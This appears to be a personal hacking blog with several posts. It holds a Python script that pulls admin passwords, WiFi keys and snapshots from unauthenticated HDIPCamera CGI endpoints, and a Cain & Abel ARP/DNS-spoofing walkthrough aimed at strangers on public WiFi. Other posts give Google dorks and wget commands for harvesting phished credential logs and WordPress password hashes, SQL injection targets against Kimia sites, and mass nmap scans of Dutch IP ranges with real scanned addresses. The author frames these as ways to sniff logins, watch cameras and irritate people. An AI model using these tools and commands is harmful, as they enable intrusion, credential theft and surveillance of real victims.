Exploiting HDIPCamera MT9P006

I pentested a camera, finding numerous vulnerabilities.
Product info:
HDIPCamera MT9P006
Version 1.0.1.2 (Dec 4 2015)
1/2.5-Inch 5 Mp CMOS Digital Image Sensor
Boardtype: 5300
sensortype: mt9p006
found in applications like:
• Digital still cameras
• Digital video cameras
• PC cameras
• Converged DSCs/camcorders
• Cellular phones
• PDAs
Let’s have a look. 😉
by just examining the source I found a few unprotected cgi requests.
A few importants cgi request can be used without any authorisation.

First getting some basic info

var serialNum="VVVIPCxxxxxxxxxxxx-xxxxxxxxxxxxx";
var model="RT_IPC"; var hardVersion="5300-mt9p006";
var softVersion="V2.3.5.2505-S50-SMA-B20151204B";
var ipcname="IPCAM";
var startdate="2016-8-30 21:56:44";
var runtimes="0 day, 1:58";
var sdstatus="out";
var sdfreespace="0 ";
var sdtotalspace="0 ";
var builddate="Dec 4 2015 ";
var productmodel="null";
var vendor="RTJ";
var swver="";
var hwver="";
var mppver="mpp";

P2P info

var p2p_enable = "1";
var p2p_id = "PPIV-xxxxx-WZDZZ";
var p2p_pwd = "xxx";

Wifi info

var wifissid = "xxx";
var wifikeytype = "3";
var wifiwhichkey = "0";
var wifikey="xxxxxxxxxxxxxxxx";
var wifienable="0";
var wifimac="xx:xx:xx:xx:xx:xx";
var wifienable="0";
var linkstatus="0";
var linkssid="";
var wifimode="";

rtsp info

var rtsplisnport="554";
var onvif_http_port="1018";
var rtsp_user_verify="0";

User info (Including passwords)

var name0="admin";
var password0="admin";
var authLevel0="255";
var name1="guest";
var password1="guest";
var authLevel1="3";
var name2="xxx";
var password2="xxx";
var authLevel2="3";
var name3="xxx";
var password3="xxx";
var authLevel3="3";
var name4="";
var password4="";
var authLevel4="3";
var name5="";
var password5="";
var authLevel5="3";
var name6="";
var password6="";
var authLevel6="3";
var name7="";
var password7="";
var authLevel7="3";
var name8="";
var password8="";
var authLevel8="0";
var name9="";
var password9="";
var authLevel9="0";
It’s getting even better.
A world readable url with all the snapshots taken.
Ow wait.. let’s make some snapshots..
outputs:
var path=”/tmpfs/snap_tmpfs/20160831/IMG001/IMG_chn0_TIMER_MNG_20160831230808_001.jpg”
.. a freshly made snapshot.
I made a python script to make use of these cgi’s and outputs all the info.
And to make a snapshot and save it to local.
#!/bin/python

# Quick & Dirty tool
# Get all the info from the IPcam 5300 MT9P006
#
# Use commandline parameters to retrieve all kinds of info
#
# usage for all the info
# python IPcam_5300-mt9p006.py --ip <ip> --snapshot --getp2p --getwifi --getrtsp --getusers

import urllib
import urllib2
import re
import argparse

p2p="/cgi-bin/p2p.cgi?cmd=p2p.cgi&-action=get"
wifi="/cgi-bin/getwifiattr.cgi"
rtsp="/cgi-bin/hi3510/getrtsplisnport.cgi"
snap="/web/cgi-bin/hi3510/param.cgi?cmd=snap"
snap_dir="/tmpfs/snap_tmpfs/"
users="/web/cgi-bin/hi3510/param.cgi?cmd=getuser"

def get_param():
    print "./IPcam_5300-mt9p600.py -h for cmd options"
    try:
        parser = argparse.ArgumentParser()
        parser.add_argument("--ip", dest="ip", default="", help="ip adres", required=True)
        parser.add_argument("--snapshot", dest="snapshot", action="store_true", help="make and download snapshot")
        parser.add_argument("--getp2p", dest="getp2p", action="store_true", help="get p2p info (incl. password)")
        parser.add_argument("--getwifi", dest="getwifi", action="store_true", help="get wifi info (incl. password)")
        parser.add_argument("--getrtsp", dest="getrtsp", action="store_true", help="get rtsp info")
        parser.add_argument("--getusers", dest="getusers", action="store_true", help="get user info (incl. passwords)")
        args = parser.parse_args()
        return args
    except IOError, msg:
        parser.error(str(msg))

def main():
    params = get_param()
    if params.snapshot:
        # call cgi to make snapshot and save to local drive
        print "make and download snapshot\n"
        req = urllib2.Request("http://"+params.ip+snap)
        url_data = urllib2.urlopen(req).read()
        match = re.search(r"/(.*)", url_data)
        snapfile_path = match.group(0)
        # remove last 2 char " and \n
        snapfile_path = snapfile_path[:-2]
        match = re.search(r"IMG_(.*).jpg", snapfile_path)
        snap_filename = match.group(0)
        print "Snap file url: %s" % snapfile_path
        print "Save output to: %s " % snap_filename
        cmd="http://" + params.ip + snapfile_path
        req1 = urllib2.Request(cmd)
        f = open(snap_filename, "wb")
        f.write(urllib2.urlopen(req1).read())
        f.close()

    if params.getp2p:
        print "Get p2p info"
        req = urllib2.Request("http://" + params.ip + p2p)
        url_data = urllib2.urlopen(req).read()
        print url_data
    if params.getwifi:
        print "Get wifi info"
        req = urllib2.Request("http://" + params.ip + wifi)
        url_data = urllib2.urlopen(req).read()
        print url_data
    if params.getrtsp:
        print "Get rtsp info"
        req = urllib2.Request("http://" + params.ip + rtsp)
        url_data = urllib2.urlopen(req).read()
        print url_data
    if params.getusers:
        print "Get users info"
        req = urllib2.Request("http://" + params.ip + users)
        url_data = urllib2.urlopen(req).read()
        print url_data

if __name__ == "__main__":
  main()

					

Heartbleed

Hacking in a heartbeat…..
Wat is er aan de hand?

CVE-2014-0160

Heartbeat is een extensie van OpenSSL om verbindingen te behouden.
Nu blijkt hier een bug in te zitten, die bij de handshake teveel informatie teruggeeft,
waaronder certificaten, geheugen dump van de site, cookies, sessies, enz, enz (tot 64kb).
Hij vraagt bevestiging van de verbinding, maar krijgt een handvol willekeurige info van het geheugen van de server.

Het blijkt zo eenvoudig te zijn, dat elke scriptkiddie deze bug kan exploiteren.

Er zijn meerdere scripts te vinden op het net, alsmede test sites om te
kijken of een website kwetsbaar is.
o.a. dropbox, yahoo en openssl site zelf zijn kwetsbaar.
1 van de test sites: https://heartbleed.hostgator.com

Er worden getallen genoemd van 500.000 kwetsbare websites,
niet gepatchte websites zijn kwetsbaar, blokkeren wil niet (hooguit met SNORT – had al gezien dat zij een een toevoegingen hebben gemaakt).

NMAP, Metasploit en Nessus hebben alle 3 al een plugin toegevoegd aan hun werkomgeving om dit te kunnen testen.

Oplossingen worden ook geboden, nieuwste update van OpenSSL biedt de oplossing, lukt dit niet dan moet alle software draaiende opnieuw gecompileerd worden exclusief deze extensie.

Nu blijkt deze bug al meer dan 2 jaar te bestaan en onduidelijk is of deze al langer misbruikt werd (NSA?). maar nu in ieder geval op grote schaal.

— to be continued!
Ik zal tzt deze blogpost gaan uitbereiden met voorbeelden, POC’s, en advies om dit te voorkomen.

You have been warned!

Cain & Able DNS Spoofing

Cain & Able DNS Spoofing

Met Cain and Able is het mogelijk om netwerkpakketjes te onderscheppen,
waardoor wachtwoorden, communicatie, enz. kan worden gelezen.

Ook is het mogelijk om wachtwoorden te kraken.
Wachtwoorden zijn veelal gecodeerd met een one-way encoding systeem (MD5 is hier een voorbeeld van).
Deze manier zorgt ervoor dat iets wel naar een HASH kan worden berekent maar met de HASH niet de originele data kan worden terugberekend.
Echter kun je d.m.v. ‘collisions’ kijken wat het wachtwoord kan zijn (oftewel  Brute-forcing)

Tevens kan het wachtwoorden van Windows naar boven halen (Lokaal).. en nog veel meer..

Dit ga ik hier niet uitleggen.. wat ik wel ga uitleggen is hoe je met Cain & Able het netwerk kan ‘sniffen’ en hoe je iemand binnen het netwerk kan pesten door zijn dns functie te wijzigen.

DNS = Dynamic Name Service, dit zet ip adressen om in tekst.
Bijv. www.google.nl heeft IP adres 173.194.67.94
om bij google te komen kun je dus ook het ip adres intypen, maar omdat meeste mensen
slecht zijn in nummers onthouden kun je dus met tekst werken.
Daar zorgt de DNS voor dat de browser weet waar hij heen moet gaan.

Cain & Able werkt met DNS-Spoofing; vrij vertaald DNS-bedrog.

De software zal zich anders ‘voorstellen’ aan het netwerk en net doen of hij
een andere pc is binnen het netwerk. Hierdoor ontvangt hij ook de pakketjes die voor een ander bedoeld zijn.

Als het gelukt is en de instellingen zijn juist zal hij de verbinding van diegene beïnvloeden.
Dit heet
ARP Spoofing

Hiermee kunnen we iemand ‘redirecten’; doorsturen naar een andere adres dan de gebruiker wil.
In de browser ziet men geen verschil, want de sitenaam e.d. zoals de website die de gebruiker wilde bezoeken is nog steeds hetzelfde.
(Dit wordt ook veel gebruikt door hackers om mensen te geloven dat ze bijv. op de site zijn van hun bank, maar ondertussen is het de site van de hacker die er precies op lijkt om zo inloggegevens te verkrijgen).

Let op! Dit kan alleen binnen het netwerk waar je zit (bedrade netwerk thuis, wifi (hotspot), enz)

Opstarten

  • Start Cain & Able (met rechtermuisknop “Als Administrator uitvoeren” – Win 7)
    Soms krijg je een foutmelding met iets over HTTPS, gewoon wegklikken en doorgaan.
  • Ga naar “Configure” en kies de verbinding wat je wilt onderscheppen.

Meestal zijn het er 2. Als je via de router op het netwerk zit is het bijna altijd of 10.0.0.1 of 192.168.0.x / 192.168.23.x. (deze ip’s zijn voor lokaal gebruik).

Als je in de trein zit en je bent ingelogd op het gratis wifi netwerk kun je dus
alle gebruikers ‘zien’ en hun pakketjes te lezen.

  • Klik op “OK”

Nu heb je de juiste netwerk gekozen. Nu gaan we hem actief maken.

Activeren Cain

(Able is een apart programma die we niet gebruiken)

Activeer alle opties (Let op: Volgorde van links naar rechts)

So…ready to go…

Nu gaan we het netwerk afscannen naar andere apparaten die op hetzelfde netwerk
zitten.

  • Ga naar tabblad “Sniffer”
  • Klik op de plus teken bovin.
  • Een keuzescherm zal openen en klik op “OK”

Nu zal er een lijst ontstaan van IP adressen en OUI Fingerprint (Identificatie van de desbetreffende apparaat).


Dit is voorbeeld van mijn intern netwerk thuis.

Ok, nu gaan we ‘verbindingen’ maken om te gaan onderscheppen.
Om een goeie verbinding te maken moet je een connectie maken tussen het apparaat en de Host* maken.

* dit is het apparaat waaraan iedereen verbonden is (bijv. router of hotspot).

In mijn voorbeeld is dit 10.0.0.138 (mijn router) en ik wil van de 10.0.0.6 de verbinding afluisteren.

Ga naar onderste tabblad “APR”.

Klik op het scherm zodat de plusteken zichtbaar wordt.

Als + is opgelicht, klik hier op en een nieuw venster zal geopend worden.

Nu selecteer links de router (of wifi/hotspot), in dit geval 10.0.0.138.


Nu verschijnt rechts de overige IP adressen die je kan kiezen.

Kies diegene die je graag wilt ‘onderscheppen’.

Klik op OK om de keuze effectief te maken.

De scherm zal zich sluiten en nu zie je een nieuwe regel bij Status.

Idle betekent dat hij nog niet bezig is, dit kan enige tijd duren (als het correct is gedaan).
En zal na max. 1 minuut overgaan in “Poisioning”

Je kan deze procedure bij elke IP adres doen die in de lijst staat. Zodat je een grote lijst hebt met IP’s. *

* Let wel, hoe meer verbindingen hoe meer pakketjes Cain ontvangt. Dit kán zorgen voor een DDoS op je eigen netwerk waardoor je computer vast loopt.

Voorbeeld:

Full-routing betekend dat hij alles kan onderscheppen, Half-routing alleen de heen- of terugweg.

Zo, Cain doet zijn werk.

Nu the Fun part !!

Ga nu naar “APR-DNS” en klik op het +-teken.

Een nieuw scherm zal openen.

Voer in bovenste veld in www.google.nl
en onderste veld een IP adres of op “Resolve” klikken en je kan een url invoeren.

Voer hier in bijv. www.sex.nl

En nu gewoon maar afwachten tot er iemand begint te mopperen dat er iets mis is met zijn computer! *
Let op! Dit kan enige tijd duren voor het effect heeft!!

Dit is leuk om te doen in de trein, is onbeveiligd draadloos netwerk.
McDonalds e.d. ook, tevens tijdens het ‘sniffen’ zie je alle http requests met wachtwoorden ook voorbij komen. login’s van facebook e.d.

PDF: https://dl.dropboxusercontent.com/u/4378489/neusbeer.nl/cain/Cain_and_Able_DNS-spoofing.pdf

Fishy Google Dork ;-)

Fishy Google Dork 😉
Er wordt veel gephished op het web naar inloggegevens.
De bestanden waar deze info naar geschreven wordt moeten
voor de hacker ‘world writable’ zijn.
Grote kans dat ze via Google te vinden zijn.
Let’s find out.

Google Dork:
filetype:txt & intext:”email=” & intext:”pass=”

Resultaat:
About 104,000,000 results (0.26 seconds) !!!

Nu begeven we ons op glad ijs en is het nooit verstandig
om die pagina’s te bezoeken met een browser.
(Gezien driveby downloads, enz)

Hier komt wget goed van pas.
(Voor de windows users, deze is ook te krijgen voor Windows)

voorbeeld:
wget http://freemania.vipfree.us/old.log.txt
Inhoud:

lsd=AVoSGlLo
email=<removed>@facebook.com
pass=<removed>
persistent=1
default_persistent=1
charset_test=€,´,€,´,水,Д,Є
timezone=
lgnrnd=210122_IrmL
lgnjs=n
locale=en_US

 

Het nut hier van?

Meerdere mogelijkheden.
– verzamelen van echte wachtwoorden.
– tracen van hackers
– controleren of je eigen gegevens er niet in gevonden wordt.
– just for the fun of it

Automatiseren:
$ ./gggooglescan -d 50 ‘filetype:txt & intext:”email=” & intext:”pass=”‘ | tee -a fishy.log

Daarna kun je alle bestanden binnen halen met
$ wget -i fishy.log

zal ook veel onbruikbaar spul tussen zitten, maar ook voldoende wachtwoorden en inloggegevens.

WordPress Backups on Google

There are a lot of backup’s found on google. Google ‘dork’: filetype:sql inurl:wp-content/backup-* For automatic googling I use gggooglescan, works like a charm and I can output the scan to wget or whatever.

 ./gggooglescan -d 10 -l backupsql.log ‘filetype:sql inurl:wp-content/backup-*’

I find a few direct url’s to backup sql databasefiles. After downloading some with wget I want to get those hashes 🙂 so, little script I made: extractWPUserinfo.sh

#!/bin/bash
#
cat “$1” | grep “INSERT INTO \`wp_users\` VALUES” | sed “s/, /\n/g” | sed “s/INSERT INTO \`wp_users\` VALUES (/userid: /g” | sed “s/);/\n\n/g” | sed “s/’//g” > “$1″_WPuserinfo.txt
#
cat “$1″_WPuserinfo.txt | grep -o “$P$.*” > “$1″_WPuser_hashes.txt

I will give 2 files, 1 with all the userinfo, second only the hashes. You can use hashcat or John or whatever to bruteforce them. (WordPress hash bruteforcing is slow! it’s a kinda salted MD5 and then 42 times calculated)

FTP scan -STATS-

FTP scan -STATS-

For those who is interested in my stats and findings after a nice big scan of FTP port 21

I scanned in groups of 50.000 Dutch IPs with NMap.
I used -T5 to speed up the things so he can missed some
ftp servers with slow response.

scan command/the script I used

#!/bin/bash
# $1 : infile (without .txt) output is infile + _p21.gnmap/nmap/xml
sudo nmap -v -r -iL “$1”.txt -Pn -T5 -sV –version-all -n -p 21 -oA ~/workingdir/output/p21/”$1″_p21 –script=ftp-anon,banner,ftp-proftpd-backdoor,ftp-vsftpd-backdoor –open -sS

Ofcourse you can use your own script for this. But this one suited me best at the moment.
I scanned for this 105 ip lists of 5000 gives me a total of 5.250.000 IP’s

Not 1 time I got a hit from the 2 scripts of nmap which checks for a backdoored FTP version

so
num ip’s : 5.250.000 (list)
uniq IP’s w/o port 21 : 41.412 (list)

Top 5 ip groups (list)
6963     145.216
3442     145.217
1642       83.162
1194     212.204
996        86.109

backdoored : 0
Found Service Info : 142 *not much(-T5 is fastscan with not enough waiting time)

Top 5
85 Service Info: OS: Unix
27 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
4 Service Info: Device: firewall
3 Service Info: Device: broadband router
2 Service Info: OS: VxWorks; CPE: cpe:/o:windriver:vxworks

FTP anonymous access : 1765* succesfully logins with user:anonymous pass:anon@

also the scan did a banner grab (short one because of the T5 option of NMap and a lot of banners aren’t grabbed because of the scriptwaiting time)
Banner grabbed : 20457 (almost 50% of the open ports found)

Return codes top 3
20190 220
62 530
46 550

ProFTPD : 5308 (1/4 of all the banners)

Top 5 versions
621 ProFTPD 1.3.1 Server
368 ProFTPD 1.3.3c Server
355 ProFTPD 1.3.2e Server
240 ProFTPD 1.3.3e Server
141 ProFTPD 1.3.3a Server

vsFTPD : 1653

Top 5 versions
907 (vsFTPd 2.0.5)
205 (vsFTPd 2.0.7)
122 (vsFTPd 2.3.2)
119 (vsFTPd 2.2.2)
68 (vsFTPd 2.0.1)

FileZilla : 710

Top 5 versions
168 FileZilla Server version 0.9.37 beta
142 FileZilla Server version 0.9.39 beta
83 FileZilla Server version 0.9.40 beta
72 FileZilla Server version 0.9.34 beta
41 FileZilla Server version 0.9.33 beta

VxWorks : 99

Top 5 versions
69 VxWorks (VxWorks5.4.2) FTP server ready
17 Tornado-vxWorks (VxWorks5.4.2) FTP server ready
9 VxWorks (5.4.2) FTP server ready
2 VxWorks (VxWorks5.5.1) FTP server ready
1 VxWorks FTP server (VxWorks 5.4.2) ready.

NASFTP : 359
Turbo : 350
277 Turbo station 2.x 1.3.2e Server
73 Turbo station 2.x 1.3.1rc2 Server
3.x Server : 9
Serv-U : 139
Top 5 versions
  29   v6.4
  16   v6.0
  14   v11.1
  11   v6.2
    8   v6.3

FTP Server ready. : 2469

some other statics
NAS found : 615
Microsoft FTP Service : 1805
FritzBox : 86
‘welcome’ in banner : 3116
‘ready’ in banner :8792
service not available : 33
Cisco : 23
P2612HW : 62 *ZyXEL Router
camera’s : 47 *39 AXIS
DreamBox : 197
Moxa FTP : 13
DSL Router : 30
DiskStation : 255
Check Point Firewall : 119
TCAdmin : 40
Winsock ready… : 93
Gene6 : 54
spftp : 38
ucftpd : 20
FTP-Uploadserver : 61
WAR-FTPD : 7
BulletProof FTP : 27
Titan FTP : 14
zFTPServer : 20
Cerberus : 22
Rumpus : 37
JD FTP : 33
Card AOS : 68
pd-admin : 6
Welcome to the CS network : 25 ? so many
Netwerkschijf : 7 *dutch for “disk drive”
Inactivity timer text : 72
Connection refused,
unknown IP address : 59
IP in banner : 3859

Why I make stats?
can be handy with pentesting!
For example knowning that the word ‘welcome’ isn’t often used (+/- 25%)
and ‘ready’ not reaching 50% that a scanner based on return strings
isn’t the best idea.
Or if you see the versions of the mainly used ftp servers don’t have the latest
version. 1.3.1. for ProFTPD and 2.0.5 for vsFTPd. and googling around brings
a lot of exploits based on this versions.
Serv-U 6.4 is most used, and a lot of exploits are on the net.
(Dir traversal, BoF’s, Auth. bypass).

oh.. the total scan time was just over 120 hours. 😀
I have the datafiles for sharing if you want them
(ip list, scan results, etc. contact me if you want them for your own research).

[sqli] Kimia

An old one, but still works fine!

http://packetstormsecurity.org/files/view/101202/kimia-sql.txt
http://www.securityhome.eu/exploits/exploit_pdf.php?eid=11754170304e409574e5f234.09320930

http://www.victim.com/image-details.php?id=[SQL]
http://www.victim.com/alert_article.php?id=[SQL]
http://www.victim.com/news-article.php?id=[SQL]
http://www.victim.com/gallery-list.php?id=[SQL]
http://www.victim.com/newsitem.php?id=[SQL]

first some googling..

google dorks:
inurl:”image-details.php?id=”
inurl:”alert_article.php?id=”
inurl:”news-article.php?id=”
inurl:”gallery-list.php?id=”
inurl:”newsitem.php?id=”

http://<removed for privacy>/gallery-list.php?id=18
http://<removed for privacy>/producer/newsitem.php?id=6
http://<removed for privacy>/article.php?id=159
http://<removed for privacy>/products.php?id=41

ofcourse the makers
http://www.kimia.co.za/newslist.php?interval=10&min=30&newsID=72
This I won’t remove 😉 they are vulnerable themselfs 😛

Target: http://<removed for privacy>
Host IP: <removed for privacy>
Web Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
Powered-by: PHP/5.2.6-1+lenny13
DB Server: MySQL >=5
Resp. Time(avg): 1678 ms
Current User: removed for privacy>
Sql Version: 5.1.49-3~bpo50+1
Current DB:

System User: removed for privacy>
Host Name: <removed for privacy>
Installation dir: /usr/
DB User: @’%’
Data Bases: information_schema
propeo_db1

Target: http://<removed for privacy>
Host IP: <removed for privacy>
Web Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
Powered-by: PHP/5.3.3-7+squeeze3+hetz2
DB Server: MySQL error based
Resp. Time(avg): 542 ms
Current User: @<removed for privacy>
Sql Version: 5.1.49-3~bpo50+1
Current DB: System User: foxanr_1@<removed for privacy>
Host Name: <removed for privacy>
Installation dir: /usr/
DB User: @’%’
Data Bases: information_schema
foxanr_db1

 

Target: http://<removed for privacy>
Host IP: <removed for privacy>
Web Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
Powered-by: PHP/5.3.3-7+squeeze3+hetz2
DB Server: MySQL unknown ver
Resp. Time(avg): 1439 ms
Current User: @<removed for privacy>
Sql Version: 5.1.49-3~bpo50+1
Current DB:

System User: @<removed for privacy>
Host Name: <removed for privacy>
Installation dir: /usr/
DB User: @’%’
Data Bases: information_schema
joymag_db1

Target: http://<removed for privacy>
Host IP: <removed for privacy>
Web Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
Powered-by: PHP/5.3.3-7+squeeze3+hetz2
DB Server: MySQL unknown ver
Resp. Time(avg): 3148 ms
Current User: kimiaa_1@<removed for privacy>
Sql Version: 5.1.49-3~bpo50+1
Current DB: kimiaa_db1
System User: kimiaa_1?dedi110

 

Target: http://<removed for privacy>
Host IP: <removed for privacy>
Web Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
Powered-by: PHP/5.3.3-7+squeeze3+hetz2
DB Server: MySQL unknown ver
Resp. Time(avg): 2508 ms
Current User: @<removed for privacy>
Sql Version: 5.1.49-3~bpo50+1
Current DB: robassu_db1
System User: @<removed for privacy>
Host Name:

table structure:  http://dl.dropbox.com/u/4378489/Forums/evilzone/Kimia_tables.html

Use with Havij Pro 1.15
http://www.ziddu.com/download/17108226/Havij_1.15_Pro.rar.html 

Portscanning Fun – Port 21

Portscanning Fun – Port 21

Let’s go looking for those FTP servers.
Grab data, exploit servers, and again.. irritate people.. 😉

Needed:
Again, linux used here; windows is possible but far more difficult to get
what you need.
– NMap
– Metasploit
– telnet/ftp/putty/or whatever you find usefull
– a lot of spare time..

In the last tutorial I explained how to get a IP list from specific country.
NMap has the ability to grab random IP’s from everywhere. can be fun sometimes!
(-iR <num ip to get>)

So let’s start getting some port 21’s from the net,..
looking for juicy data..

sudo nmap -v -iR 10000 -Pn -n -p 21 -oN output_port21.lst –script=ftp-anon,banner,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor –open –sC

(or use the ip lists from geoipgen results)

sudo nmap -v -iL iplist_nl.txt -Pn -n -p 21 -oN output_port21.lst –script=ftp-anon,banner,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor –open –sC

 

Portscanning Fun

Portscanning Fun
(A HowDoI*-document)

*I prefer HowDoI instead of Tutorial, because it isn’t a tutorial 😛

When I’m totaly bored (which is often) I go take a walk in the park….

but in this case the park is the internet 🙂
Tired of google or sql injecting/xss sites, etc etc.
I go searching for fun stuff on the not-crawled/indexed ip’s.
A lot to see, test, exploit, browse or just irritate people.

So, what do I use

– Linux (or cygwin – linux-in-windows, great program, a must for windows users)
– GeoIPGen (http://code.google.com/p/geoipgen/) from
Download geolite database (wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCountry/GeoIP.dat.gz)
unpack it in same directory as GeoIPGen
– AngryIP Scanner (wget http://sourceforge.net/projects/ipscan/files/ipscan3-binary/3.0-beta6/ipscan_3.0-beta6_i386.deb)
(or windows/other version at http://www.angryip.org/w/Download)
– any scan/pentest program you need.

ok then, let’s go hunting..
I want to find ip adresses only from the netherlands..
can be any country you want (database is nog 100% correct,
Lite version.. but good enough!)

Let’s get a list of ip adresses (-n num of ips)
$ ./geoipgen -n 10000 NL > iplist_10000_NL.lst

(it will keep track of already found IP adresses in ~/.geoipgen/ so when you search again
it won’t show the same ones again).

now start AngryIP Scanner;
$ sudo java -jar ipscan-linux-3.0-git.jar

I change the options a little bit, to save some time scanning.
Preferences:
Scanning
Delay 0
Max num threads 200
Pinging Method ICMP Echo (that why I use sudo – ICMP uses RAW tcp/ip, you can also add CAP’s to the jarfile
sudo setcap cap_new_raw,cap_net_admin=eip ipscan-linux-3.0-git.jar)
Scan dead hosts Checked
Skip likely broadcast IP unchecked

Ports
Adapt timeout 100
Port selection: 21,23,80,8080
*can choose more or others, but these are the most often open ports.
because the size of my scans I limited to these 4,
adding 110,137,139,443,3306,etc can give more valuable info
but takes much much more time.
Yesterday I scanned 100.000 ip adresses within a few hours.

Display
Host with open ports only
then “Select fetchers” option I use only Ports,Web detect,Filtered Ports (in this order)

Now I import the IP list
Press Start… and wait wait wait ;P
after scan export all..

and see a nice fun list to explore:
example (a actual list from my scans, don’t misuse :P)
82.73.18.101 80 23 Boa/0.93.15 (with Intersil Extensions)
82.73.170.156 23,80 21,8080 Unknown/0.0 UPnP/1.0 GlobespanVirata-EmWeb/R6_1_0
82.73.178.248 21,80 23,8080 Apache/2.2.21 (Win32) PHP/5.3.6
130.161.36.25 80 [n a] Apache/1.3.33 (Unix) PHP/4.0.6 mod_ssl/2.8.24 OpenSSL/0.9.7g
130.89.136.11 21,80 [n a] thttpd
130.89.150.65 80 [n a] Oracle-Application-Server-10g/10.1.3.4.0 Oracle-HTTP-Server
130.89.152.195 80 [n a] Virata-EmWeb/R6_2_1
130.89.161.245 21 [n a] [n a]
130.89.1.98 80 21,23,8080 Microsoft-IIS/6.0
130.89.162.203 80 21,23,8080 Apache/2.2.16 (Unix) PHP/5.3.3
131.155.111.71 21,80 [n a] Apache/2.2.20 (Ubuntu)
131.155.112.29 80 [n a] Virata-EmWeb/R6_2_1
131.155.151.103 80 21,23,8080 Microsoft-IIS/6.0
131.174.37.150 23,80 [n a] [n a]
131.174.61.212 80 21,23,8080 Apache/2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1
131.211.85.13 80 21,23,8080 Apache/2.0.46 (CentOS)
132.229.83.17 80 [n a] Apache/2.0.63 (NETWARE) mod_jk/1.2.23
134.146.113.193 80 21,23,8080 Microsoft-IIS/6.0
134.146.64.111 80 21,23,8080 Citrix Web PN Server
134.146.81.39 80 21,23,8080 Microsoft-IIS/6.0
134.221.194.154 80 21,23,8080 Apache/2.2.14 (Ubuntu)
137.56.169.221 80 21,23,8080 Microsoft-IIS/7.5
139.122.202.162 80 21,23,8080 Microsoft-IIS/6.0
141.138.204.64 21,80 [n a] Apache/2
141.0.174.208 21 23,80 nginx
141.138.203.106 21,80 23,8080 Apache
141.93.35.152 80 21,23,8080 Lotus-Domino
145.3.1.201 21,80 23,8080 Microsoft-IIS/6.0
145.36.247.12 80 21,23,8080 Microsoft-IIS/5.0
145.36.42.43 80 21,23,8080 IBM_HTTP_Server
145.36.40.127 80 21,23,8080 Apache/2.0.55 (Unix) DAV/2 mod_jk/1.2.6
145.43.216.70 80 21,23,8080 Microsoft-IIS/6.0
145.58.35.29 80 21,23,8080 [n a]
145.64.132.127 21 23,80,8080 [n a]
145.7.91.179 80 21,23,8080 Microsoft-IIS/6.0
145.74.103.21 80 21,23,8080 Roxen
145.94.95.82 80 21,23,8080 [n a]
145.97.222.37 80 21,23,8080 [n a]
145.97.223.209 80 21,23,8080 [n a]
145.99.120.189 80 [n a] [n a]
145.99.115.185 23,80 [n a] ISOS/9.0 UPnP/1.0 Conexant-EmWeb/R6_1_0
145.99.237.2 23,80 [n a] ISOS/9.0 UPnP/1.0 Conexant-EmWeb/R6_1_0
145.99.104.5 21 8080 [n a]
145.99.112.97 80 23,8080 ISOS/9.0 UPnP/1.0 Conexant-EmWeb/R6_1_0

so you see, a lot of neat things to explore
routers,printers,old http servers,naz’s,etc.
today I even found a climate control system webbased without password. grinnn..
routers are mostly unsecured, standard passwords, simple exploits by bypassing security,
or resetting to standard-factory-defaults, etc. (I’m actualy busy at the moment to
make a router tool which has all the vulns,advisories,poc’s,exploits listed per router
and some scanning and exploit abilities)
explore the ftp for anonymous logins with metasploit or other scanners,
irritate people by nuking there printers (sending pages, DoS them or whatever)
Watch there security camera’s, or try to root them..
Unlimited possibilties..

for a closer look at the systems use nmap or metasploit, nessus, nexpose or windows
users eEye Retina, N-stalker or Acunetix (Acunetix is handy for exploring routers etc.)

Portscanning Fun – IP listings

Portscanning Fun – IP listings
(A HowDoI*-document)

*I prefer HowDoI instead of Tutorial, because it isn’t a tutorial.. just how I do it.. 😛

Needed:
– linux/cygwin
– geoipgen 0.4 (see [Tutorial] Portscanning Fun for installation guide)
– nmap – try to install newest svn co https://svn.nmap.org/nmap
windows version can be used, but mind the lack of RAW package use,
so scan options can’t be SYN. use Connect -sC)

I explained earlier how to get some country specific ip’s from geoipgen.
./geoipgen -n 5000 NL > 5000_ip_nl.txt
.. will result in a ip list of 5000 dutch ip’s.

note: to get random ip’s you can use NMap’s command -iR <num random ports>,

sudo nmap -iR 5000 -sC -p 21 –script=ftp-anon,banner -PN -n -oN output.txt

will scan for anon ftp acces without resolve dns (faster), no port open scan (just try)
on 5000 random ip’s. (choose -iL <iplist> for specific ip’s – gathered from geoipgen)

My Workingdir is getting messy with al those lists, scans, ect.
let’s get it clean and thight..

I want to target dutch ip’s in this example.
You can ofcourse change everything for your own needs.

first create a main working dir
mkdir ip_fun

go to dir

and make a data dir for your ip-lists
mkdir ips

ok, because of the size of our possibilities I’m gonna make a list of ip’s-list files.
I’m gonna make ip lists of 50000 ip’s and 50 of them.
(Or less.. choose what you need.. I want a big list, so I go for 50 files of 50000 ip’s (2.500.000 ip’s))

make a bash script:

#!/bin/bash
COUNTER=0
while [ $COUNTER -lt 50 ]; do
let COUNTER=COUNTER+1
./geoipgen -n 50000 nl > nl_50000_”$COUNTER”.txt
done

this will make me a list of 50 files named nl_50000_<num>.txt

move these to your new-made dir
/ip_fun/ips

now you can scan a little more specific and faster.

let’s try…..
nmap scan for anonymous ftp acces and juicy files. (one of my favorite :P)

sudo nmap -iL /ip_fun/ips/nl_50000_1.txt -v -n -sS –open -p 21 -PN –script=ftp-anon,banner -oN /ip_fun/nmap_p21_scan.txt

or port 80 scan

sudo nmap -iL /ip_fun/ips/nl_50000_1.txt -v -n -sS –open -p 80,8080 -PN –script=banner,http-headers,http-favicon,http-malware-host,http-enum,http-robots.txt,http-php-version,http-usedir-enum,http-trace,http-auth,address-info -oN /ip_fun/nl_50000_1.scan_port80.txt

